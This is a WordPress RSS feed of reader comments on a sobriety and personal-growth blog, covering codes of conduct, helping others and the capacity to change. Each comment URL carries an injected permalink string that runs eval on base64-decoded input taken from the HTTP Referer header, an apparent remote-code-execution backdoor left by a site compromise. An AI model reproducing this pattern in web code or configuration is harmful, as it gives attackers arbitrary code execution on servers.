Comments for Bouncing Off The Bottom http://www.thesecondroad.org/bouncing_off_the_bottom Twelve Steps to a Real Life and a Pretty Good Time. Wed, 08 Feb 2012 17:20:57 +0000 http://wordpress.org/?v=2.5.1 Comment on My personal code of conduct by Adam http://www.thesecondroad.org/bouncing_off_the_bottom/2008/06/13/my-personal-code-of-conduct/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4080 Adam Thu, 29 Jul 2010 17:05:03 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=86#comment-4080 Hi Martha, It's interesting that you posted this..."I also remain inherently uncomfortable talking about God. I try to do most of my talking about the specifics of what faith I have through how I live my life." As an abuse survivor, I've never been comfortable with an external authority and rigid rules. I really identified with this statement as that's how I try to live my life too. Thanks for a great post. Adam ZenTactics - Practical Personal Development For Child Abuse Survivors Hi Martha,

It’s interesting that you posted this…”I also remain inherently uncomfortable talking about God. I try to do most of my talking about the specifics of what faith I have through how I live my life.” As an abuse survivor, I’ve never been comfortable with an external authority and rigid rules. I really identified with this statement as that’s how I try to live my life too. Thanks for a great post.

Adam
ZenTactics - Practical Personal Development For Child Abuse Survivors

]]> Comment on Helping others . . . by Lori http://www.thesecondroad.org/bouncing_off_the_bottom/2008/11/24/helping-others/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4079 Lori Wed, 26 Aug 2009 03:08:49 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=100#comment-4079 It does make sense to me. I do think there is a fine line between these two things. I don't think we are always aware that we are helping someone else with the intention of making ourselves feel better about ourselves. Sometimes we do it intentionally but I don't think that always means that we have ill intentions...sometimes we just have this driven need to feel better about ourselves. It's when we become aware of doing this that we need to take a look and make changes. I am sure you have a lot of wisdom to share with people and it takes skill to learn how to give freely without expecting a certain result from our giving or helping. Giving without strings attached is hard for many of us! It does make sense to me. I do think there is a fine line between these two things. I don’t think we are always aware that we are helping someone else with the intention of making ourselves feel better about ourselves. Sometimes we do it intentionally but I don’t think that always means that we have ill intentions…sometimes we just have this driven need to feel better about ourselves. It’s when we become aware of doing this that we need to take a look and make changes. I am sure you have a lot of wisdom to share with people and it takes skill to learn how to give freely without expecting a certain result from our giving or helping. Giving without strings attached is hard for many of us!

]]> Comment on Helping others . . . by brian miller http://www.thesecondroad.org/bouncing_off_the_bottom/2008/11/24/helping-others/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4078 brian miller Tue, 25 Aug 2009 18:51:06 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=100#comment-4078 it makes complete sense to me...when we are truly helping hopefully we are releasing others...in the other case we are dictating to them and bonding them to us...great post. congrats on the POTD mention. it makes complete sense to me…when we are truly helping hopefully we are releasing others…in the other case we are dictating to them and bonding them to us…great post. congrats on the POTD mention.

]]> Comment on My personal code of conduct by Khalid Qurashi, Kashmir http://www.thesecondroad.org/bouncing_off_the_bottom/2008/06/13/my-personal-code-of-conduct/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4077 Khalid Qurashi, Kashmir Thu, 13 Aug 2009 05:05:32 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=86#comment-4077 Hey, got a gr8 sense 4rm ur Code of Conduct. I also follow this, to approach different people. But not for the reasons u have, I follow this, ar it helps me to know more n more about human behaviour and I get lots of knowledge which i get during the interactions. This ultimately helps us to Improve Ourselves. . . . Hey, got a gr8 sense 4rm ur Code of Conduct. I also follow this, to approach different people. But not for the reasons u have, I follow this, ar it helps me to know more n more about human behaviour and I get lots of knowledge which i get during the interactions. This ultimately helps us to Improve Ourselves. . . .

]]> Comment on My personal code of conduct by Gavin, South Africa http://www.thesecondroad.org/bouncing_off_the_bottom/2008/06/13/my-personal-code-of-conduct/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4074 Gavin, South Africa Sun, 07 Jun 2009 12:51:01 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=86#comment-4074 Hi Marta, thank you for this. I am developing a Personal Code of Conduct to help myself and others hone in on three critical areas in order to increase one's own sense of self-worth and happiness. The three areas include Honesty/Truthfulness (Personal Integrity) which I feel is absolutely essential for self-love and inner peace. The second area is Positivity - giving one's attention to what is uplifting and life-supporting, optimistic and such like. And the third is in one's relationship with others, namely Kindness, and all that that embraces. I did a search for the words 'personal code of conduct' to see if it was a term used on the Net, and I came across your post above. :-) Yes, the way we can determine whether we are being honest is simply to listen to our body. If it sends a signal of discomfort, we know we are deviating from the course set out by our 'Higher Self'. So the decision should always to follow the inner voice, no matter what the mind is telling us. As the saying goes, quite literally: 'follow your bliss'. I wish you and your readers well. Gavin "The purpose of life is the expansion of happiness." Hi Marta, thank you for this. I am developing a Personal Code of Conduct to help myself and others hone in on three critical areas in order to increase one’s own sense of self-worth and happiness.

The three areas include Honesty/Truthfulness (Personal Integrity) which I feel is absolutely essential for self-love and inner peace. The second area is Positivity - giving one’s attention to what is uplifting and life-supporting, optimistic and such like. And the third is in one’s relationship with others, namely Kindness, and all that that embraces.

I did a search for the words ‘personal code of conduct’ to see if it was a term used on the Net, and I came across your post above. :-)

Yes, the way we can determine whether we are being honest is simply to listen to our body. If it sends a signal of discomfort, we know we are deviating from the course set out by our ‘Higher Self’. So the decision should always to follow the inner voice, no matter what the mind is telling us. As the saying goes, quite literally: ‘follow your bliss’.

I wish you and your readers well.

Gavin
“The purpose of life is the expansion of happiness.”

]]> Comment on Helping others . . . by Ginnie http://www.thesecondroad.org/bouncing_off_the_bottom/2008/11/24/helping-others/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4071 Ginnie Fri, 28 Nov 2008 20:03:29 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=100#comment-4071 My Golden Rule is "never give advice unless it's asked for" and it seldom is. However when I relate an experience to how it affected my life it seems to carry a lot of weight. It's a powerful tool and especially with family. My Golden Rule is “never give advice unless it’s asked for” and it seldom is. However when I relate an experience to how it affected my life it seems to carry a lot of weight. It’s a powerful tool and especially with family.

]]> Comment on Helping others . . . by shadow http://www.thesecondroad.org/bouncing_off_the_bottom/2008/11/24/helping-others/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4070 shadow Tue, 25 Nov 2008 08:46:06 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=100#comment-4070 makes perfect sense. to me. struggling with co-dependency too. this is exactly what i should be asking myself... makes perfect sense. to me. struggling with co-dependency too. this is exactly what i should be asking myself…

]]> Comment on Helping others . . . by Indigo http://www.thesecondroad.org/bouncing_off_the_bottom/2008/11/24/helping-others/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4069 Indigo Mon, 24 Nov 2008 22:12:05 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=100#comment-4069 Makes perfect sense to me. No matter what subject matter I'm talking about, Domestic Abuse, or sobriety. I try to make it clear this is my story, this is how I managed to survive, this is what I did. I think that constant surprise I get when someone tells me, I learned something or I got something from what you shared...is telling me I hadn't expected anything in return. Does it help to share that part of us. Yeah, it does. It's also keeping in mind, what worked for us, may not necessarily work for someone else. (Hugs)Indigo Makes perfect sense to me. No matter what subject matter I’m talking about, Domestic Abuse, or sobriety. I try to make it clear this is my story, this is how I managed to survive, this is what I did. I think that constant surprise I get when someone tells me, I learned something or I got something from what you shared…is telling me I hadn’t expected anything in return.

Does it help to share that part of us. Yeah, it does. It’s also keeping in mind, what worked for us, may not necessarily work for someone else. (Hugs)Indigo

]]> Comment on Once a junky. . . by Ginnie http://www.thesecondroad.org/bouncing_off_the_bottom/2008/11/20/once-a-junky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4068 Ginnie Sat, 22 Nov 2008 14:00:03 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=99#comment-4068 Hi Martha: I had cataract surgery in both eyes last month but chickened out and went with the anasthesia...still could hear all but was zonked out otherwise. Hope you have a nice Holiday. all the best, Ginnie Hi Martha: I had cataract surgery in both eyes last month but chickened out and went with the anasthesia…still could hear all but was zonked out otherwise. Hope you have a nice Holiday. all the best, Ginnie

]]> Comment on Once a junky. . . by shadow http://www.thesecondroad.org/bouncing_off_the_bottom/2008/11/20/once-a-junky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4067 shadow Fri, 21 Nov 2008 07:16:42 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=99#comment-4067 ha! so it IS possible to change... ha! so it IS possible to change…

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